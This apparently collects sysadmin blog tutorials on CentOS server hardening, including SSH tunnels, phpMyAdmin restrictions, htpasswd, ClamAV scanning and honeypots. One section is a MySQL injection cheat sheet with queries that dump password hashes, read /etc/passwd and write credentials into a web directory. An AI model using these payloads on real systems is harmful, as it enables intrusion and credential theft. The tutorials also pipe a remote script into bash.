MySQL Encryption using SSH and Supervisor

If MySQL security is one of your concerns, you should use encryption when connecting to the server. Setting up SSL in MySQL is not really straightforward as you have to generate key, certificate and GRANT for specific user with REQUIRE SSL statement. This would bring additional maintenance task for DBA.

The easiest way to achieve this is by using SSH encryption. Instead directing the application to connect to standard port 3306 with plain connection, why don’t you connect it to a ‘forwarding’ port which map to the MySQL port via SSH? SSH is secure and almost everyone with Linux basic knowledge knows how to manage it.

Setting up SSH access and port forwarding

Let’s say we have a application/web server and a MySQL server listening on standard port 3306:

  • 10.0.0.20 – web server
  • 10.0.0.21 – mysql server

Following steps should be performed on the application/web server.

1. As root user, generate a SSH key:

$ whoami 
root
$ ssh-keygen -t rsa # press enter on all prompts

2. Copy the SSH key on web server to MySQL node:

$ ssh-copy-id 10.0.0.21 # enter the root password for 10.0.0.21 if prompted

3. Verify that you can run following command without the MySQL node prompting a password:

$ ssh 10.0.0.21 "ls /usr"

4. Run SSH command to listen to port 10001 on localhost IP and forward it to port 3306 on 10.0.0.21 as root user:

$ ssh -fNg -L 10001:127.0.0.1:3306 10.0.0.21

5. Verify that you got following port listed:

$ netstat -tulpn | grep 10001
$ ps aux | grep ssh

6. Finally, connect to MySQL server using MySQL client securely:

$ mysql -uroot -p -h127.0.0.1 -P10001

At this point, you can redirect your application to communicate through 127.0.0.1 port 10001 as a secured MySQL connection via SSH.

Dedicated SSH user

Above method works fine if you are running as user root, but this is not the safest method. Since running the SSH command does not require super user privilege, we should create a specific user other than root specifically for this process. In this example, I created a user called ‘myuser’.

1. On both servers, create the user and assign a password.:

$ useradd myuser
$ passwd myuser

2. On application/web server, generate a SSH key for myuser:

$ su - myuser
$ whoami 
myuser
$ ssh-keygen -t rsa # press enter on all prompts

3. Then, copy the SSH key to MySQL server, 10.0.0.21:

$ ssh-copy-id 10.0.0.21 # enter the myuser password for 10.0.0.21 if prompted

4. Start the SSH port forwarding using following command:

$ ssh -fNg -L 10001:127.0.0.1:3306 10.0.0.21

5. To auto execute the command after a reboot, just add following line under /etc/rc.local:

runuser -l myuser -c 'ssh -fNg -L 10001:127.0.0.1:3306 10.0.0.21'

Now, it’s safer to have a dedicated user to perform the port forwarding process.

Setting up Supervisor

Now we have secured our MySQL connection. We need to ensure the SSH process is monitored so when it fails (or if the server rebooted) it will be automatically restarted. You can basically put the command directly inside /etc/rc.local (as shown above), which will be executed automatically upon startup, but this does not cover the worst-case scenario where the process crashes, stops or being killed. This is where Supervisor comes in handy.

Supervisor is a client/server system that allows its users to monitor and control a number of processes on UNIX-like operating systems.

1. Install Supervisor via python easy_install:

$ yum install -y python-setuptools
$ easy_install supervisor

2. Create a configuration file, /etc/supervisord.conf:

$ vim /etc/supervisord.conf

And add following lines:

[supervisord]
nodaemon=false
logfile=/var/log/supervisord.log
pidfile=/var/run/supervisord.pid
 
[program:mysql_secure]
command=ssh -Ng -L 10001:127.0.0.1:3306 10.0.0.21
user=myuser

3. To start Supervisor, just run following command:

$ supervisord -c /etc/supervisord.conf

4. To ensure it starts on boot, we add following line into /etc/rc.local:

/usr/bin/supervisord -c /etc/supervisord.conf

Here is some excerpt from /var/log/supervisord.log indicating it monitors the process correctly:

$ less /var/log/supervisord.log
2015-05-19 20:22:14,093 CRIT Supervisor running as root (no user in config file)
2015-05-19 20:22:14,100 INFO daemonizing the supervisord process
2015-05-19 20:22:14,101 INFO supervisord started with pid 1944
2015-05-19 20:22:15,105 INFO spawned: 'mysql_secure' with pid 1945
2015-05-19 20:22:16,108 INFO success: mysql_secure entered RUNNING state, process has stayed up for > than 1 seconds (startsecs)
2015-05-19 20:22:24,581 CRIT Supervisor running as root (no user in config file)
2015-05-19 20:22:24,585 INFO daemonizing the supervisord process
2015-05-19 20:22:24,585 INFO supervisord started with pid 1952
2015-05-19 20:22:25,591 INFO spawned: 'mysql_secure' with pid 1953
2015-05-19 20:22:26,801 INFO success: mysql_secure entered RUNNING state, process has stayed up for > than 1 seconds (startsecs)

That’s all folks!

 

Install grsecurity with Yum

Easiest way to install grsecurity. The good thing about it is only grsecurity provides protection against zero-day and other advanced threats that buys administrators valuable time while vulnerability fixes make their way out to distributions and production testing.

1. Go into repository directory:

$ cd /etc/yum.repos.d/
$ wget http://repos.coredumb.net/grsecurity/grsecurity.repo

2. Install grsecurity kernel and administrator tools:

$ yum clean all
$ yum install kernel gradm

3. Reboot so it could load the grkernel:

$ reboot

 

Customize and Disable PHPmyAdmin ‘Export’ Menu

In my development environment, we have 2 levels of PHPmyAdmin user, the superuser (root) and developer user. Superuser is able to access all features available in PHPmyAdmin and developer user is the database user for database planet_shop which have limitation as stated in MySQL user privilege table.

The current problem is that developer user, which use PHPmyAdmin to access and manage the database, is also able to export the database using PHPmyAdmin export menu as screenshot below:

pma_export

My boss want this menu to be hide and disabled to developer to prevent them dump the MySQL data which is strictly confidential. This feature should only accessible for superuser only. To do this, I need to do some changes to PHPmyAdmin coding which is located under /var/www/html/phpmyadmin directory in my web server. I am using following variables:

OS: CentOS 6 64bit
PHPmyAdmin web directory: /var/www/html/phpmyadmin
PHPmyAdmin version: 3.4.3.2 (inside README)

1. We need to hide Export menu to be viewed from 2 places, in libraries/server_links.inc.php and libraries/db_links.inc.php. Open /var/www/html/phpmyadmin/libraries/server_links.inc.php using text editor and find following line (line 67):

$tabs['export']['icon'] = 'b_export.png';
$tabs['export']['link'] = 'server_export.php';
$tabs['export']['text'] = __('Export');

and change it to:

if ($is_superuser) {
    $tabs['export']['icon'] = 'b_export.png';
    $tabs['export']['link'] = 'server_export.php';
    $tabs['export']['text'] = __('Export');
}

2. Then, we need to hide Export menu from database page. Open /var/www/html/phpmyadmin/libraries/db_links.inc.php using text editor and find following line (line 107):

$tabs = array();
$tabs[] =& $tab_structure;
$tabs[] =& $tab_sql;
$tabs[] =& $tab_search;
$tabs[] =& $tab_qbe;
$tabs[] =& $tab_export;

and change it to:

$tabs = array();
$tabs[] =& $tab_structure;
$tabs[] =& $tab_sql;
$tabs[] =& $tab_search;
$tabs[] =& $tab_qbe;
if ($is_superuser) {
    $tabs[] =& $tab_export;
}

3. The first 2 steps were only hiding the Export tab from PHPmyAdmin for non superuser. Now we need to disable it as well in database page. Open /var/www/html/phpmyadmin/db_export.php using text editor and find following line:

// $sub_part is also used in db_info.inc.php to see if we are coming from
// db_export.php, in which case we don't obey $cfg['MaxTableList']
$sub_part = '_export';
require_once './libraries/db_common.inc.php';
$url_query .= '&goto=db_export.php';
require_once './libraries/db_info.inc.php';

And add following line after that:

if (!$is_superuser) {
    require './libraries/server_links.inc.php';
    echo '<h2>' . "\n"
       . PMA_getIcon('b_usrlist.png')
       . __('Privileges') . "\n"
       . '</h2>' . "\n";
    PMA_Message::error(__('No Privileges'))->display();
    require './libraries/footer.inc.php';
}

4. We also need to disable this in server page. Open /var/www/html/phpmyadmin/server_export.php using text editor and find following line:

/**
* Does the common work
*/
require_once './libraries/common.inc.php';
 
$GLOBALS['js_include'][] = 'export.js';

And add following line after that:

if (!$is_superuser) {
    require './libraries/server_links.inc.php';
    echo '<h2>' . "\n"
       . PMA_getIcon('b_usrlist.png')
       . __('Privileges') . "\n"
       . '</h2>' . "\n";
    PMA_Message::error(__('No Privileges'))->display();
    require './libraries/footer.inc.php';
}

 

Done. Now we can verify in PHPmyAdmin by login as the developer and you will notice that Export menu has been hide:

pma_hide

 

If user still access the Export page using direct URL, for example: http://192.168.0.100/phpmyadmin/server_export.php , they will see following error:

pma_nopriv

 

Linux: Add New User and Group into .htpasswd

We have several directories which have been restricted to some users in our company. Since they will need to authenticate before able to access the directory via web browser, I need to manage simple Apache user authentication using htpasswd.

User Authentication

To create new password protected directory under /home/website/public_html/secure1, create a new .htaccess file:

$ vim /home/website/public_html/secure1/.htaccess

And enter following line:

AuthUserFile /home/website/.htpasswd
AuthType Basic
AuthName "User Authentication"
Require valid-user

This will tell Apache to refer to .htpasswd for the user authentication data. Now let create a user to be inserted into .htpasswd file:

$  htpasswd -c /home/website/.htpasswd myfirstuser
New password:
Re-type new password:
Adding password for user myfirstuser

Format: htpasswd [options] [location of .htpasswd to be create] [username]

Now you can try to access the secure directory using  website: http://mywebsite.com/secure1. You should able to see login box pop out asking for username and password.

To add another user:

$ htpasswd /home/website/.htpasswd myseconduser

This will insert another line into .htpasswd file. If you see the current value, it should be:

$ cat /home/website/.htpasswd
myfirstuser: Ob5Y/eFTeSXEw
myseconduser: 9oopndPXV7sdE

Group Authentication

In some cases, I need to have a group of people able to access some secure folders. Lets say we have following users:

=================================================================
 USER     | GROUP     | DIRECTORY
=================================================================
 David    | IT        | /home/website/public_html/secure-it
 Nade     | IT        | /home/website/public_html/secure-it
 Mike     | Admin     | /home/website/public_html/secure-admin
 Seth     | Boss      | /home/website/public_html/secure-boss
=================================================================

1. Insert the users into htpasswd file. I will put this under /home/website/.htpasswd:

$ htpasswd -c /home/website/.htpasswd david
$ htpasswd /home/website/.htpasswd nade 
$ htpasswd /home/website/.htpasswd mike
$ htpasswd /home/website/.htpasswd seth

2. Create a htgroup file. This will describe the group for every user. Create a new file /home/website/.htgroup and add following line. Boss group can access all secure directories and others can only access their respective directories:

it: david nade seth
admin: mike seth
boss: seth

3. Apply the access into htacess files for every directories that you want to secure.

For IT group, create new .htaccess file:

$ vim /home/website/public_html/secure-it/.htaccess

And add following line:

AuthUserFile /home/website/.htpasswd
AuthGroupFile /home/website/.htgroup
AuthName "User Authentication"
AuthType Basic
Require group it

For admin group, create new file:

$ vim /home/website/public_html/secure-admin/.htaccess

And add following line:

AuthUserFile /home/website/.htpasswd
AuthGroupFile /home/website/.htgroup
AuthName "User Authentication"
AuthType Basic
Require group admin

For Boss group, create new file:

$ vim /home/website/public_html/secure-boss/.htaccess

And add following line:

AuthUserFile /home/website/.htpasswd
AuthGroupFile /home/website/.htgroup
AuthName "User Authentication"
AuthType Basic
Require group boss

CentOS: ClamAV Scanning on FTP Service

Scanning on FTP is really important in order to protect your server from the most popular file transferring method available to users. In my case, my boss wants to make sure every uploaded files via FTP is free from virus, trojan or malware.

In order to achieve this, I need to use PureFTPd as the FTP server because it supports calling script once uploaded. This feature will basically trigger a script which we will use to call anti virus process to do the file scanning.

I am using following variables:

OS: CentOS 6.2 64bit
FTP user: ryan
FTP password: Brr432$A
FTP home directory: /home/ryan
Antivirus: ClamAV
Script to scan: /root/scripts/clamav_scan
Quarantine directory: /root/quarantine

1. To make installation steps easier, we will use RPMforge repository configured to yum:

$ rpm --import http://apt.sw.be/RPM-GPG-KEY.dag.txt
$ rpm -Uhv http://packages.sw.be/rpmforge-release/rpmforge-release-0.5.2-2.el6.rf.x86_64.rpm

2. Install ClamAV and PureFTPD via yum:

$ yum install clamav pure-ftpd -y

3. Update ClamAV database:

$ freshclam

Note: By default, ClamAV will update the virus database on daily basis as you can see under /etc/cron.daily/freshclam.

4. Configure PureFTPD to suit our environment. Open the PureFTPD configuration file at /etc/pure-ftpd/pure-ftpd.conf via text editor and make sure following line is configured as below:

#PAMAuthentication           yes
UnixAuthentication           yes
CallUploadScript             yes

5. Create the home directory for user ryan and assign password:

$ useradd -m ryan
$ passwd ryan

6. Create the script to be used by PureFTPd to call ClamAV for file scanning. We will also create a quarantine folder for ClamAV to collect the suspected files. We will use a BASH script called clamav_scan under /root/scripts directory:

$ mkdir -p /root/quarantine
$ mkdir -p /root/scripts
$ vim /root/scripts/clamav_scan

And add following line:

#!/bin/bash
QUA_DIR=/root/quarantine
SUBJECT="Something detected by ClamAV"
EMAILTO="[email protected]"
EMAILMESSAGE="$QUA_DIR/scan.log"
DATE=`date`
 
# Scan the uploaded file. Move to quarantine if suspicious
/usr/bin/clamscan --move=$QUA_DIR --quiet --no-summary "$1"
 
# Send email if suspicious found
if [ "$(ls -A $QUA_DIR)" ]; then
     echo "Date: $DATE" > $EMAILMESSAGE
     /usr/bin/clamscan -i -r -l $EMAILMESSAGE $QUA_DIR
     /bin/mail -s "$SUBJECT" "$EMAILTO" < $EMAILMESSAGE
     rm -Rf $QUA_DIR/scan.log
fi

7.  Make the files executable and start the PureFTPd with auto startup after boot:

$ chmod 755 /root/scripts/clamav_scan
$ chkconfig pure-ftpd on
$ service pure-ftpd start

8. PureFTPd will required process pure-uploadscript to run separately once the pure-ftpd service started. This process will call the custom script which already created for scanning purposes:

$ pure-uploadscript -r /root/scripts/clamav_scan -B

We also need to put this script on /etc/rc.local to make sure it auto start after boot:

$ echo "/usr/sbin/pure-uploadscript -r /root/scripts/clamav_scan -B" >> /etc/rc.local

Done. Now lets try by uploading some files into the FTP directory. You can try to upload normal file and also try to upload the unwanted files like r57.php. You can see that this suspicious file will be moved to quarantine folder instead of Ryan’s home directory.

Basic MySQL Injection Cheat Sheet

Version

SELECT @@version;

Comments

SELECT 1; #comment
SELECT /*comment*/1;

Current User

SELECT user();
SELECT system_user();

List Users

SELECT user FROM mysql.user;

List Password Hashes

SELECT host, user, password FROM mysql.user;

List Privileges

SELECT grantee, privilege_type, is_grantable FROM information_schema.user_privileges;
SELECT host, user, Select_priv, Insert_priv, Update_priv, Delete_priv, Create_priv, Drop_priv, Reload_priv, Shutdown_priv, Process_priv, File_priv, Grant_priv, References_priv, Index_priv, Alter_priv, Show_db_priv, Super_priv, Create_tmp_table_priv, Lock_tables_priv, Execute_priv, Repl_slave_priv, Repl_client_priv FROM mysql.user;
SELECT grantee, table_schema, privilege_type FROM information_schema.schema_privileges;

List privileges for the user on column:

SELECT table_schema, table_name, column_name, privilege_type FROM information_schema.column_privileges;

List DBA Accounts

SELECT grantee, privilege_type, is_grantable FROM information_schema.user_privileges WHERE privilege_type = 'SUPER';
SELECT host, user FROM mysql.user WHERE Super_priv = 'Y';

Current Database

SELECT database();

List Databases

SELECT schema_name FROM information_schema.schemata;
SELECT DISTINCT(db) FROM mysql.db;

List Columns

SELECT table_schema, table_name, column_name FROM information_schema.columns WHERE table_schema != 'mysql' AND table_schema != 'information_schema';

List Tables

SELECT table_schema,table_name FROM information_schema.tables WHERE table_schema != 'mysql' AND table_schema != 'information_schema';

Find Tables From Column Name

SELECT table_schema, table_name FROM information_schema.columns WHERE column_name = 'username';

Select Nth Row

SELECT host,user FROM user ORDER BY host LIMIT 1 OFFSET 0; # rows numbered 1
SELECT host,user FROM user ORDER BY host LIMIT 1 OFFSET 1; # rows numbered 2

Select Nth Char

SELECT substr('abcd', 3, 1); # returns c

Bitwise AND

SELECT 6 & 2; # returns 2
SELECT 6 & 1; # returns 0

ASCII Value -> Char

SELECT CHAR(65); # returns A

Char -> ASCII Value

SELECT ASCII('A'); # returns 65

Casting

SELECT CAST('1' AS unsigned integer); # returns 1
SELECT CAST('123' AS char); # returns 123

String Concatenation

SELECT CONCAT('A','B'); # returns AB
SELECT CONCAT('A','B','C'); # returns ABC

If Statement

SELECT IF(1=1,'foo','bar'); # returns 'foo'
SELECT IF(1=2,'foo','bar'); # returns 'bar

Case Statement

SELECT CASE WHEN (1=1) THEN 'A' ELSE 'B' END; # returns A
SELECT CASE WHEN (1=2) THEN 'A' ELSE 'B' END; # returns B

Avoiding Quotes

SELECT 0x414243; # returns ABC using hexadecimal

Time Delay

SELECT BENCHMARK(1000000,MD5('A'));

Local File Access

...' UNION ALL SELECT LOAD_FILE('/etc/passwd')
SELECT * FROM mytable INTO dumpfile '/tmp/somefile';

Create Users

CREATE USER test1 IDENTIFIED BY 'pass1';

Delete Users

DROP USER test1;

Make User DBA

GRANT ALL PRIVILEGES ON *.* TO [email protected]'%';

Location of DB files

SELECT @@datadir;

Write query result into file

SELECT password FROM tablename WHERE username = 'root' INTO OUTFILE '/path/location/on/server/www/passes.txt';

Write query result into file without single quotes

SELECT password FROM tablename WHERE username = CONCAT(CHAR(39),CHAR(114),CHAR(111),CHAR(111),CHAR(116),CHAR(39)) INTO OUTFILE CONCAT(CHAR(39),CHAR(47),CHAR(116),CHAR(109),CHAR(112),CHAR(47),CHAR(112),CHAR(97),CHAR(115),CHAR(115),CHAR(101),CHAR(115),CHAR(46),CHAR(116),CHAR(120),CHAR(116),CHAR(39));

Above query is equal to:

SELECT password FROM tablename WHERE username = 'root' INTO OUTFILE '/tmp/passes.txt';

10 Simple Mistakes that Webmasters Do

Following point is written from my experience and webmaster observation since becoming server administrator of various web servers:

Directory Browsing Enabled

Depending on your web host server configuration, you might need to check this feature should be DISABLED. If not, it will allow unnecessary access by public user to other files. Plus, others can understand on how your site directories, which is not good.

Bear in mind that directory browsing is being indexed by search engines crawler. This will increase the chance for others to find and simply target your website due to viewable content.

Allow Hotlinking To Static Content

Bandwidth is expensive. Do not allow others to use your content as part of their content and consume your bandwidth. To prevent bandwidth stealing, do not forget to disallow others from hotlinking your static contents including image (.jpg, .png, .gif, .bmp), presentation material (.pdf, .swf, .flv) and script (.js/.css/.xml).

Depending on your web host, there must be embedded function to disable hotlinking to your static content. Contact them for more information.

No Watermark

We must always think that others might steal our images. So do not forget to append watermark to every image in your website.

User will get noticed on the stolen image if they see it in other website. Indirectly, you have been advertised and people will start find the real content, rather than the duplicated one. More traffic will coming in.

PHPinfo Page is Accessible

During the web development process, PHPinfo is one of the things that developer need to have in order to understand the web server environment. Even though the PHPinfo page is not retrievable via search engine, this file MUST not exist in your web server or not accessible publicly if your site has go live.

Most webmaster forget to delete this page after development process completed, which means you are exposing the web server environment to the world.

Ignore Website Appearance in Linux and Mobile Device

Most webmasters will try to test run their website in all browsers run on Windows or Mac. Assuming that Linux and mobile device are using the same browser engine, they usually forget that the appearance might be different in other boxes. Even though at this moment Linux and mobile users are less than 7% of total operating system market shares (statistic by W3schools), you should not ignore them entirely.

The site’s font might look standard in Windows, but in Ubuntu it will look slightly bigger due to system font default size is different. Same goes to mobile device which font looks smaller.

Open Hyperlink in Same Windows

Make sure your hyperlink inside your content will be opened in new tab/windows with <target=”_blank”> HTML tag.

Do not interrupt your user experience while they are accessing the content. Many webmaster forgot about this resulting bad experience for users because they have been redirected from the information that they actually want.

Display Email Address on the Website

Email addresses are easily harvested by address-harversting bots. They just need a search engine to build the list of victims site and read the html tag: “mailto:” or seek for complete email address format which is “[email protected]“. You might start getting spam mails usually from 3 to 6 months after the email address publicly displayed, unless your site block search engine crawler to access.

There are some alternative way to display your email address on the website like using CloudFlare service, where they protect your website email address or follow this example at http://csarven.ca/hiding-email-addresses on how to hide email address in HTML.

The best solution is never reveal your email address and use contact form instead.

No CAPTCHA for Form

Do not ever expect your website visitors are all humans. There are many bad bots (comment spam bots, forum spam bots) out there try to do nasty things with your website, which mostly to generate backlinks for Search Engine Optimization (SEO).

Use CAPTCHA (Completely Automated Public Turing Test To Tell Computers and Humans Apart) for every forms you have like comment form, contact form or registration form. Even some CAPTCHA are breakable as refer to here. The most popular CAPTCHA provider nowadays is RECAPTCHA, which acquired by Google. It is a free service to use while preventing spambots from messing up your site.

Backup in the Same Server

Your website backup should NOT exist in the same server of your web server. Especially if the backup directory can be accessible publicly. Usually, webmaster will create backup from inside the web server. It should then download and remove the backup file from the web server. Some webmasters forget to remove the backup files, which then filling up the disk space and unintentionally turn the backup files downloadable by others.

The best backup practice is to have a remote backup repository server and scheduled to be run on daily basis during non-peak hours.

Simple Password Usage

Do not use simple password for any credentials in your website or web host service. Hackers and bots can simply gain access from any point of authentication like email account, database user, protected directory user, back-end system user, web hosting service user and FTP user if they succeed on guessing your password, usually by using brute-force method.

The best password practice is to have alphabet, numerical and symbols combined in your password which more than 10 characters and always change your password within 3 months, at least.

Conclusion

Simple mistake can lead to bigger problem if we are not careful and realize the consequences that we might face. Standard of procedure, checklist and reminder are some methods to overcome humans’ common mistake which is forgetful.

Linux: Install and Configure Apache with SuPHP

If you install Apache  and PHP web server from your distribution repository, the system will auto-configure your web server to handle PHP script using Dynamic Shared Object (DSO) handler. The major effect of DSO is Apache process will be run under Apache user (it can be user nobody, www-data or wwwroot). If some PHP script is overloading the server, we will still see user ‘nobody’ as the executer, which is hard for us to determine which user’s script cause the problem.

To differentiate between available PHP handler, you can refer to this post. In this tutorial, we will install and configure suPHP to work with default installation of Apache. SuPHP is a tool for executing PHP scripts with the permissions of their owners. It consists of an Apache module (mod_suphp) and a setuid root binary (suphp) that is called by the Apache module to change the uid of the process executing the PHP interpreter.

Variables that I used:

Server: CentOS 6.0 64bit
Server IP: 210.84.17.110
User: ryan
Web directory: /home/ryan/public_html
Website: http://www.misterryan.com/

1. Install Apache, PHP and required compiler via yum:

$ yum install -y httpd* php gcc-c++

2. Download mod_suphp RPM. The RPM version must be same with suPHP version that we are going to download on step 3:

$ cd /usr/local/src
$ wget ftp://rpmfind.net/linux/dag/redhat/el6/en/x86_64/dag/RPMS/mod_suphp-0.7.1-1.el6.rf.x86_64.rpm
$ rpm -Uhv  mod_suphp-0.7.1-1.el6.rf.x86_64.rpm

3. Download and prepare suPHP from this website. At this moment, the latest version is suphp-0.7.1.tar.gz:

$ cd /usr/local/src
$ wget http://www.suphp.org/download/suphp-0.7.1.tar.gz
$ tar -xzf suphp-0.7.1.tar.gz
$ cd suphp-*

4. Locate APR config binary and build suPHP:

$ which apr-1-config
/usr/bin/apr-1-config

Build suPHP:

$ ./configure --with-apr=/usr/bin/apr-1-config --with-setid-mode=owner
$ make
$ make install

5. Create the website and logs directory for user:

$ useradd -m ryan
$ mkdir /home/ryan/public_html
$ mkdir /home/ryan/logs
$ touch /home/ryan/logs/error_log
$ touch /home/ryan/logs/access_log

6. Create the configuration file in Apache to serve the website under user ryan. We will create a new virtual host in the Apache conf.d directory:

$ vi /etc/httpd/conf.d/vhost.conf

And add following line:

NameVirtualHost 210.84.17.110:80
 
<VirtualHost 210.84.17.110:80>
ServerName misterryan.com
ServerAlias www.misterryan.com
 
ServerAdmin [email protected]
DocumentRoot /home/ryan/public_html
 
ErrorLog /home/ryan/logs/error_log
CustomLog /home/ryan/logs/access_log combined
 
suPHP_Engine on
suPHP_UserGroup ryan ryan
AddHandler x-httpd-php .php .php3 .php4 .php5 .phtml
suPHP_AddHandler x-httpd-php
</VirtualHost>

7. Change the PHP handler from mod_php to mod_suphp. We need to edit mod_suphp configuration file at /etc/httpd/conf.d/suphp.conf and uncomment following line:

LoadModule suphp_module modules/mod_suphp.so

And remove mod_php configuration file:

$ rm -Rf /etc/httpd/conf.d/php.conf

8. Make sure suPHP configuration file located at /etc/suphp.conf has value as below:

[global]
logfile=/var/log/httpd/suphp_log
loglevel=info
webserver_user=apache
docroot=/var/www/html:${HOME}/public_html
env_path=/bin:/usr/bin
umask=0077
min_uid=500
min_gid=500
 
; Security options
allow_file_group_writeable=false
allow_file_others_writeable=false
allow_directory_group_writeable=false
allow_directory_others_writeable=false
 
;Check wheter script is within DOCUMENT_ROOT
check_vhost_docroot=true
 
;Send minor error messages to browser
errors_to_browser=false
 
[handlers]
;Handler for php-scripts
x-httpd-php="php:/usr/bin/php-cgi"
 
;Handler for CGI-scripts
x-suphp-cgi=execute:!self

9. SuPHP will throw some error because it will try to lookup suphp.conf under /usr/local/etc directory. So we need to create a symbolic link to the real /etc/suphp.conf:

$ ln -s /etc/suphp.conf /usr/local/etc/suphp.conf

10. We also need to fix the permission and ownership for user ryan:

$ chmod 755 /home/ryan
$ chown ryan.ryan /home/ryan/public_html -Rf
$ find /home/ryan -type d -exec chmod 755 {} \
$ find /home/ryan -type f -exec chmod 644 {} \

11. Now suPHP configuration is done. We need to restart Apache service as well as prepare the service to start on boot:

$ chkconfig httpd on
$ service httpd restart

Done! Now we can upload the website into the user web directory at /home/ryan/public_html. SuPHP will allowed you to run the file only owned by the respective user. So step #10 is quite important in order to fix the permission and ownership, or else the web server will throw an “Internal Server Error” in the browser.

All related files location for suPHP:

SuPHP log – /var/log/httpd/suphp_log
SuPHP config – /etc/suphp.conf
SuPHP module config – /etc/httpd/conf.d/suphp.conf
SuPHP module – /etc/httpd/modules/mod_suphp.so
Apache error log –  /etc/httpd/logs/error_log

Apache: Create Fake PHPinfo

My boss recently wants me to create a dummy PHP information page as known as phpinfo. This page can gives much more information on your server environment and application supported inside the web server. His purpose is only want to mislead anyone who is trying to view the phpinfo.php file in the web server. And surprisingly, we detected connection to this phpinfo page after 2 days it being live in the production web server.

On following PHPinfo example, I have extract the information from a WAMP server and place it inside the Apache web server which run on Linux. With some variable changes, we can make a fake phpinfo.php file and view exactly like what real phpinfo page looks alike.

Variables as below:

OS: CentOS 5.2 64bit
Apache root document: /var/www/html
Server IP: 192.168.100.10
Phpinfo URL: http://192.168.100.10/phpinfo.php

1. Create a new file inside your root document of web server called phpinfo.php (or whatever name you want):

$ cd /var/www/html
$ touch phpinfo.php

2. Using text editor, open the files and paste the fake PHP info code below:

$ nano phpinfo.php

Paste following line:

Click here for the PHP source code

3. Save the file and you can view it via browser at http://192.168.100.10/phpinfo.php. You also can track user who access to this phpinfo page by adding following line in the php code above:

$to = '[email protected]'; //replace with your email address
$subject = 'Some one is viewing the fake phpinfo page!';
$message = '
Date: '.date('l jS \of F Y h:i:s A').'
Source IP: '.$_SERVER['REMOTE_ADDR'];
 
mail($to, $subject, $message);

Done. You can also use the same code to run on Windows environment. Even though this page has disallow search engine robot to access which will not being indexed in the search engine, you will notice someone will try to play with your phpinfo page. Believe me!

Upgrade DELL Open Manage Server Administrator (OMSA)

Some of our servers are running on Dell which include Open Manage Server Administrator (OMSA) to manage the physical server  remotely. OMSA can be access via port 1311 in HTTPS by using web browser. Most of the time, I only use OMSA to manage and monitor our physical disk which run on RAID.

The version that I currently use is 6.3.0, which is the old one (because I have not update anything on OMSA since first usage). Following steps show on how to update Dell OMSA with the easiest way. Before upgrade, lets take a look on how OMSA’s current look:

Variable as below:

OS: Red Hat Enterprise Linux Server release 5.6 (Tikanga)
Server IP: 192.168.100.30
OMSA URL: https://192.168.100.30:1311

1. We will use yum to update current OMSA installation. Lets add the Dell Open Manage repository into it:

$ cd /usr/local/src
$ wget -q -O - http://linux.dell.com/repo/hardware/latest/bootstrap.cgi | bash

2. The safest way is to stop and remove the old version:

/opt/dell/srvadmin/sbin/srvadmin-services.sh stop
$ yum remove -y srvadmin*

3. Lets install new OMSA:

$ yum install -y srvadmin-all

4. Log out from SSH and relogin back to reset OMSA path.

5. Start OMSA service to load new update:

$ /opt/dell/srvadmin/sbin/srvadmin-services.sh start

And check whether it runs on the correct port:

$ netstat -tulpn | grep 1311
tcp     0       0 0.0.0.0:1311       0.0.0.0:*       LISTEN       29960/dsm_om_connsv

Done! Now lets see how our OMSA new look:

It seems Dell has hired great web developer for this new OMSA interface (version 6.5.0). As for me, it is not really matter as long as all required functionalities are still there. Cheers!

Linux: Create and Configure SSH Honeypot

Since I have a DMZ server, it is possible to setup a SSH honeypot, where we can track what hackers and crackers are trying to do when got into our system. My honeypot server setup will be like this:

Variable that I used is:

OS: CentOS 6.2 64bit
Web server IP: 202.82.109.14
User: kippo
Directory: /home/kippo

1. Before we start, we need to make sure our server SSH port has been changed to another port. In this case, I have changed my SSH port for this server to 22002. To change SSH port, simply edit SSH configuration file at /etc/ssh/sshd_config and change following line:

Port 22002

Dont forget to restart the service to apply the changes:

$ service sshd restart

2. We will use Kippo as the SSH honeypot. Download and extract it:

$ cd /usr/local/src
$ wget  http://kippo.googlecode.com/files/kippo-0.5.tar.gz
$ tar -xzf  kippo-0.5.tar.gz

3. Before we start installing Kippo, make sure you are running Python 2.6. You can check by using following command:

$ python -V

Then we need to install Twisted using yum:

$ yum install -y python-twisted*

4. Kippo need to be run as non-root user. So we need to create a user for this:

$ useradd -m kippo
$ passwd kippo

5. Lets copy Kippo folder to the user folder /home/kippo and assign ownership:

$ cp /usr/local/src/kippo-* /home/kippo/ -Rf
$ chown kippo.kippo /home/kippo/kippo-* -Rf

6. Change to normal user mode (kippo):

$ su - kippo

7. Change the SSH port value for kippo to use default SSH port 22. The configuration file is located under /home/kippo/kippo/kippo.cfg and change following line:

ssh_port = 22
hostname = web1

8. Lets start Kippo:

$ cd ~/kippo
$ ./start.sh

Now your SSH Honeypot is working. You can try to login via SSH to the server and you will realize that you are in Honeypot and not the real server. All user actions will be captured at /home/kippo/kippo/log/kippo.log. You can change the initial root password at Kippo configuration file and so on. To stop Kippo, you just need to kill the PID of the running process. You can use ps command to determine the PID.

CentOS: Upgrading CentOS Release 6.0 to 6.2

The best server maintenance practice is to have all software run up-to-date by following the latest stable release. Most of our servers are has been upgraded to CentOS 6 from CentOS 5 (major release), but also need to upgrade from CentOS 6.0 to CentOS 6.2 (minor release) which usually comes by every about 4 to 8 weeks after upstream release (RedHat).

It just a simple step by the way and variables as below:

OS: CentOS 6.0 64bit
Current release:  CentOS 6.2

1. Check our current kernel and release version:

$ uname -a
Linux centos.local 2.6.32-71.29.1.el6.x86_64 #1 SMP Mon Jun 27 19:49:27 BST 2011 x86_64 x86_64 x86_64 GNU/Linux
$ cat /etc/centos-release
CentOS Linux release 6.0 (Final)

2. Before upgrade, it is recommended to clean all cached files from any enabled repository:

$ yum clean all

3. Lets start upgrading. It takes some time depending on your connectivity to CentOS repository:

$ yum update

4. Once completed, proceed to reboot:

$ init 6

5. Check our latest kernel and release version:

$uname -a
Linux centos.local 2.6.32-220.el6.x86_64 #1 SMP Tue Dec 6 19:48:22 GMT 2011 x86_64 x86_64 x86_64 GNU/Linux
$ cat /etc/centos-release
 CentOS release 6.2 (Final)

To automate this process, we can repeat this process bi-monthly to make sure our operating system is up-to-date with the current release. Run crontab -e and add following line:

0 0 */14 * * yum clean all; yum update

Dont forget to restart crond:

$ service crond restart